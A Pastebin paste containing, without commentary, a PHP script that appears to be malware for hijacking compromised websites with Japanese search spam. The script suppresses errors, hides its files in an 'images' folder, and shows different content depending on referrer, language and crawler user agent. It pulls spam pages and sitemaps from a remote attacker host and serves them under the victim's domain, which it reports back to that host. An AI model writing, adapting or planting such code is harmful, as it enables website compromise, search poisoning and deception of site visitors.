Advertisement
Guest User

Untitled

a guest
Nov 17th, 2017
440
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.33 KB | None | 0 0
  1. ?><?php
  2. @ini_set('memory_limit', '-1');
  3. @ini_set('max_execution_time', 0);
  4. @set_time_limit(0);
  5. @error_reporting(0);
  6. @ini_set('display_errors', 0);
  7.  
  8. $api = "http://192-187-118-138.xxwin.pw/group2/api3.php";
  9.  
  10.  
  11. $bak_dir = dirname(__FILE__) . "/images";
  12. if (!file_exists($bak_dir)) {
  13.   mkdir($bak_dir);
  14. }
  15.  
  16. $suffix_txt = $bak_dir . '/suffix.txt';
  17. if (file_exists($suffix_txt)) {
  18.   $suffix = file_get_contents($suffix_txt);
  19. }else{
  20.   $suffix_array[0] = randomSuffix();
  21.   $suffix_array[1] = '/';
  22.   $suffix = $suffix_array[mt_rand(0, 1)];
  23.   file_put_contents($suffix_txt, $suffix , LOCK_EX);
  24. }
  25.  
  26.  
  27.  
  28.  
  29.  
  30. $req_path = $_SERVER["REQUEST_URI"];
  31.  
  32. $ip = $_SERVER["REMOTE_ADDR"];
  33.  
  34. if(IsFltExt()) return;
  35.  
  36.  
  37. if(IsGBot()) return;
  38. if(!IsGBot()&&!IsClickFromSE()) return;
  39. if(!IsGBot()&&!IsJpLng()) return;
  40.  
  41.  
  42. if(preg_match("/rrgsmp\/(.*)/i",$req_path,$res))
  43. {  
  44.      $action = "sitemap";
  45.      $apikey = $res[1];
  46. }
  47. if(preg_match("/sitemap\/(.*)/i",$req_path,$res))
  48. {  
  49.      $action = "sitemap";
  50.      $apikey = $res[1];
  51. }
  52. if(preg_match("/sitemap\/(.*)\.txt$/i",$req_path,$res))
  53. {  
  54.      $action = "sitemap_txt";
  55.      $apikey = $res[1];
  56. }
  57.  
  58. if($action=="sitemap")
  59. {
  60.     ob_clean();
  61.     header('Content-type: text/xml; charset=utf-8');
  62.     siteMapXml();exit();
  63. }
  64.  
  65. if($action=="sitemap_txt")
  66. {
  67.     ob_clean();
  68.     header('Content-type: text/html; charset=utf-8');
  69.     siteMapTxt();exit();
  70. }
  71.  
  72.  
  73.  
  74.  
  75. if(preg_match("/check-alive/i",$req_path,$res))
  76. {
  77.     echo "--alive--"; exit;
  78. }
  79. elseif(preg_match("/-(\d{4,})/i",$req_path,$res))
  80. {
  81.     $action = "article";
  82.     $id = $res[1];
  83.  
  84. }
  85. else
  86. {
  87.     $action = "article";
  88.     $id = -1;
  89. }
  90.  
  91. if($action=="article")
  92. {
  93.     header('Content-Type:text/html; charset=utf-8');
  94.     if(IsGBot()){
  95.       $bot = 1;
  96.     }else{
  97.       $bot = -1;
  98.     }
  99.     Article();
  100.     exit();
  101. }
  102.  
  103.  
  104.  
  105. function randomSuffix()
  106. {
  107.     $strs = 'ABCDEFGHIGKLMNOPQRSTUVWZYZabcdefghigklmnopqrstuvwxyz';
  108.     $strs_array = str_split($strs);
  109.     shuffle($strs_array);
  110.     $str_array = array_slice($strs_array, 0, mt_rand(3, 4));
  111.     $str = '.' . implode($str_array);
  112.     return $str;
  113. }
  114.  
  115. function GetDomain()
  116. {
  117.     $host = $_SERVER['HTTP_HOST'];
  118.     if (isHTTPS()) {
  119.         $host = 'https://' . $host;
  120.     }else{
  121.         $host = 'http://' . $host;
  122.     }
  123.     return $host;
  124. }
  125.  
  126.  
  127. function IsFltExt()
  128. {
  129.     global $req_path;
  130.     try
  131.     {
  132.         $date = explode('?', $req_path);
  133.         $date = basename($date[0]);
  134.         $date = explode('.', $date);
  135.         $ext = strtolower($date[1]);
  136.         return $ext=="jpg"
  137.         ||$ext=="gif"
  138.         ||$ext=="css"
  139.         ||$ext=="js"
  140.         ||$ext=="png";
  141.     }
  142.     catch (Exception $e)
  143.     { }
  144. }
  145.  
  146. function Article()
  147. {
  148.     global $bak_dir, $id, $req_path, $api, $suffix, $bot;
  149.     $url_md5 = md5($req_path);
  150.     if ($req_path == '' || $req_path == '/' || $req_path == '/index.php') {
  151.       $bot = 1;
  152.     }
  153.  
  154.  
  155.     if ($id == -1) {
  156.       $get_url = $api."?bot=id&shkey=".$shkey."&act=1"."&id=".$id."&suffix=". $suffix ."&md5=".$url_md5;
  157.       $get_html = FFGet($get_url);
  158.       $get_id = trim($get_html);
  159.  
  160.  
  161.       $str_length = strlen($req_path);
  162.       $str_dir = $bak_dir . '/bak';
  163.       if (!file_exists($str_dir)) {
  164.         mkdir($str_dir);
  165.       }
  166.       $id_bak_dir = $str_dir . '/' . $str_length;
  167.       if (!file_exists($id_bak_dir)) {
  168.         mkdir($id_bak_dir);
  169.       }
  170.       $id_bak_file = $id_bak_dir . '/' . md5($req_path) . '.jpg';
  171.       if (file_exists($id_bak_file)) {
  172.         $id = file_get_contents($id_bak_file);
  173.       }else{
  174.         $id = $get_id;
  175.         file_put_contents($id_bak_file, $get_id, LOCK_EX);
  176.       }
  177.  
  178.     }
  179.  
  180.     $shkey = GetDomain();
  181.  
  182.     $url = $api."?bot=".$bot."&shkey=".$shkey."&act=1"."&id=".$id."&suffix=". $suffix ."&md5=".$url_md5;
  183.  
  184.     $html = FFGet($url);
  185.  
  186.  
  187.     echo $html;
  188. }
  189.  
  190. function IsJpLng()
  191. {
  192.      $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 4);
  193.      return stripos($lang,"ja")===0;
  194. }
  195.  
  196. function IsGBot()
  197. {
  198.     global $ip;
  199.    
  200.     $ua=$_SERVER['HTTP_USER_AGENT'];
  201.     if(stripos($ua,"iseo")) return true;
  202.    
  203.     $spider_list=array("google"
  204.                     , "yahoo"
  205.                     , "live"
  206.                     , "msn"
  207.                     , "bing"
  208.                     , "facebook","nike","sbcglobal","microsoft");
  209.  
  210.     $domain = "";
  211.     try
  212.     {
  213.           $domain = gethostbyaddr($ip);
  214.             if($domain!="")
  215.           {
  216.             $domain = strtolower($domain);
  217.               foreach ($spider_list as $s)
  218.               {
  219.                   if(stripos($domain,$s))
  220.                   {
  221.                       return true;
  222.                   }
  223.               }
  224.           }
  225.     }
  226.     catch(Exception $e)
  227.     {
  228.          
  229.     }
  230.    
  231.     if($domain=="")
  232.     {
  233.         return (stripos($ua,"bot")||stripos($ua,"spider")||stripos($ua,"yahoo")||stripos($ua,"seznam")||stripos($ua,"bing"));
  234.     }
  235.     else
  236.     {
  237.       return false;
  238.     }
  239. }
  240.  
  241. function IsClickFromSE()
  242. {
  243.     $ref=$_SERVER['HTTP_REFERER'];
  244.     return (stripos($ref,"google")||stripos($ref,"yahoo")||stripos($ref,"bing")||stripos($ref,"seznam"));
  245. }
  246.  
  247. function FFGet( $url ){
  248.    
  249.     $file_contents ='';
  250.     $user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36";
  251.    
  252.     if(function_exists('file_get_contents')){
  253.         ini_set('user_agent',$user_agent);
  254.         try
  255.         {
  256.             $file_contents = @file_get_contents( $url );
  257.  
  258.         }
  259.         catch (Exception $e)
  260.         { }
  261.     }
  262.  
  263.     if(strlen($file_contents)<1&&function_exists('curl_init')){
  264.         try
  265.         {
  266.              $file_contents ="";
  267.              $ch = curl_init();
  268.              $timeout = 30;
  269.              curl_setopt($ch,CURLOPT_URL,$url);
  270.              curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  271.              curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  272.              curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
  273.              curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
  274.              curl_setopt($ch,CURLOPT_USERAGENT,$user_agent);
  275.              $file_contents = curl_exec( $ch);
  276.              curl_close( $ch );
  277.          }
  278.          catch (Exception $e)
  279.          {}
  280.      }
  281.  
  282.     if($file_contents=="503"||$file_contents=="")
  283.     {
  284.           STU();
  285.     }
  286.  
  287.  
  288.     return $file_contents;
  289. }
  290.  
  291. function STU()
  292. {
  293.     ob_start();
  294.     header('HTTP/1.1 503 Service Temporarily Unavailable');
  295.     header('Status:  503 Service Temporarily Unavailable');
  296.     header('Retry-After:1200');
  297.     header('X-Powered-By:Apache');
  298.     exit();
  299. }
  300.  
  301.  
  302.  
  303. function siteMapXml()
  304. {
  305.     global $bak_dir,$apikey,$api,$suffix;
  306.     $html = FFGet($api."?act=2&shkey=".GetDomain()."&suffix=". $suffix ."&id=".$apikey);
  307.     echo $html;
  308.     $xml_file = 'sitemap.xml';
  309.     if (!file_exists($xml_file)) {
  310.       file_put_contents($xml_file, $html, LOCK_EX);
  311.     }
  312. }
  313.  
  314. function siteMapTxt()
  315. {
  316.     global $bak_dir,$apikey,$api,$suffix;
  317.     $html = FFGet($api."?act=3&shkey=".GetDomain()."&suffix=". $suffix ."&id=".$apikey);
  318.     echo $html;
  319. }
  320.  
  321.  
  322. function isHTTPS(){  
  323.     if(!isset($_SERVER['HTTPS']))  return FALSE;  
  324.     if($_SERVER['HTTPS'] === 1){
  325.         return TRUE;  
  326.     }elseif($_SERVER['HTTPS'] === 'on'){
  327.         return TRUE;  
  328.     }elseif($_SERVER['SERVER_PORT'] == 443){
  329.         return TRUE;  
  330.     }  
  331.     return FALSE;  
  332. }  
  333.  
  334. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement